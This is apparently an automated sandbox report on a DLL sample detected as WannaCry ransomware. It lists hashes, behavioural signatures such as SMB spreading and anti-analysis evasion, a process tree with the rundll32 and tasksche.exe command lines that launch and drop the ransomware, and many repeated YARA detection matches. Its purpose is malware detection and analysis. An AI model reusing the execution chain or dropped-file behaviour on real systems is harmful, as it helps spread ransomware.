Edit tour

Windows Analysis Report
48O5lgRp91

Overview

General Information

Sample Name:	48O5lgRp91 (renamed file extension from none to dll)
Analysis ID:	669701
MD5:	e9d1ba0ee54fcdf37cf458cd3209c9f3
SHA1:	77970fdacd24e82e89547f0d6087f866126469ca
SHA256:	7d8644271eb48be35e35f1d4c06649ba6878b4672f3d57bdea1f2ff9074bc434
Tags:	dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Machine Learning detection for sample

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Searches for user specific document files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

File is packed with WinRar

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 7020 cmdline: loaddll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 7032 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7052 cmdline: rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 7092 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 142DB3228DD9177F5FDAEC26D0F0E19A)

tasksche.exe (PID: 2304 cmdline: C:\WINDOWS\tasksche.exe /i MD5: BEB8A27FC024962E045C32AA58D07D0E)

rundll32.exe (PID: 7040 cmdline: rundll32.exe C:\Users\user\Desktop\48O5lgRp91.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 7104 cmdline: rundll32.exe "C:\Users\user\Desktop\48O5lgRp91.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 7116 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 142DB3228DD9177F5FDAEC26D0F0E19A)

tasksche.exe (PID: 6424 cmdline: C:\WINDOWS\tasksche.exe /i MD5: BEB8A27FC024962E045C32AA58D07D0E)

mssecsvr.exe (PID: 7156 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 142DB3228DD9177F5FDAEC26D0F0E19A)

svchost.exe (PID: 1020 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1544 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 12036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 12480 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 14752 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 16696 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
48O5lgRp91.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
48O5lgRp91.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.378557270.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.388287786.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.984192317.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.384217743.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.396748214.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.380329258.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.383341101.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.377544877.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.387978137.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.393982614.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.386527298.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.389511100.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 7092	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 7116	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 7156	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
